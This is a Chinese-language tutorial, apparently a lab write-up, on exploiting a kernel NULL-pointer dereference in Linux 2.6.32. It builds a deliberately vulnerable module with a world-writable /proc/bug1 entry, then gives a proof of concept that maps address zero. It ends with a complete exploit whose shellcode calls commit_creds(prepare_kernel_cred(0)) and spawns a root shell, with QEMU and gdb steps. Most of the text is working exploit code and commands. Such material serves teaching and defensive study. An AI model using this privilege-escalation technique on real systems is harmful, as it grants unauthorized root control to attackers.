0x00 漏洞代码
null_dereference.c:#include <linux/init.h>#include <linux/module.h>#include <linux/kernel.h>#include <linux/proc_fs.h>void (*my_funptr)(void);int bug1_write(struct file *file, const char *buf, unsigned long len){my_funptr();return len;}static int __init null_dereference_init(void){printk(KERN_ALERT "null_dereference driver init!\n");create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;return 0;}static void __exit null_dereference_exit(void){printk(KERN_ALERT "null_dereference driver exit\n");}module_init(null_dereference_init);module_exit(null_dereference_exit);
可以看到漏洞代码中my_funptr函数指针是空指针(值为0x0),调用my_funptr可以执行0x0地址处的代码。
Makefile:
obj-m := null_dereference.o KERNELDR := /home/moon/Desktop/linux-kernel/linux-2.6.32.1/ PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules moduels_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
将漏洞代码在本地编译(make)之后,将null_dereference.ko文件放到busybox-1.27.2/_install/usr/目录中。
0x01PoC
#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>char payload[] = "\xe9\xea\xbe\xad\x0b"; // jmp 0xbadbeefint main(){mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(0, payload, sizeof(payload));int fd = open("/proc/bug1", O_WRONLY);write(fd, "fanrong", 7); // 调用bug1的write函数return 0;}
编译:
$ gcc -static poc.c -o poc
将poc也放到busybox的usr目录中。
再在busybox的_install目录中执行:
$ find . | cpio -o --format=newc > ../rootfs.img
qemu启动Linux内核,启动后用Ctrl+Alt+2到控制台,输入:
(qemu) gdbserver tcp::1234
在本地linux-2.6.32.1目录中用gdb去连接:
$ gdb vmlinux(gdb) target remote :1234Remote debugging using :1234default_idle() at arch/x86/kernel/process.c:311311 current_thread_info()->status |= TS_POLLING;(gdb) b *0x0(gdb) cContinuing.
在qemu中Ctrl+Alt+1切换回命令行,进入usr目录,挂载驱动后运行poc程序。
这时gdb就会命中断点,因为调用了空的函数指针,所以会跳转到0x0。反汇编查看当前执行的指令:
可以看到如果继续执行就会执行我们的payload。
0x02exploit
1.思路:给当前进程赋予root权限
commit_creds(prepare_kernel_cred(0));
在qemu中获取commit_creds和prepare_kernel_cred地址:
2.编写shellcode
xor %eax, %eaxcall 0xc10680d0call 0xc1067f30ret
编译shellcode,并获取其机器码,得到shellcode:
shellcode = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3"
现在将shellcode放入分配的0x0地址空间,当调用空函数指针时,使当前进程有root权限,然后执行一个system(“/bin/sh”);在程序返回用户态之后获得root shell。
exp.c
#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>char payload[] = "\x31\xc0\xe8\xc9\x80\x06\xc1\xe8\x24\x7f\x06\xc1\xc3";int main(){mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);memcpy(0, payload, sizeof(payload));int fd = open("/proc/bug1", O_WRONLY);write(fd, "fanrong", 7);system("/bin/sh"); // get root shellreturn 0;}
将exp.c编译,将exp复制到busybox的_install目录下的usr目录中,再启动qemu,运行exp.
成功拿到root shell.。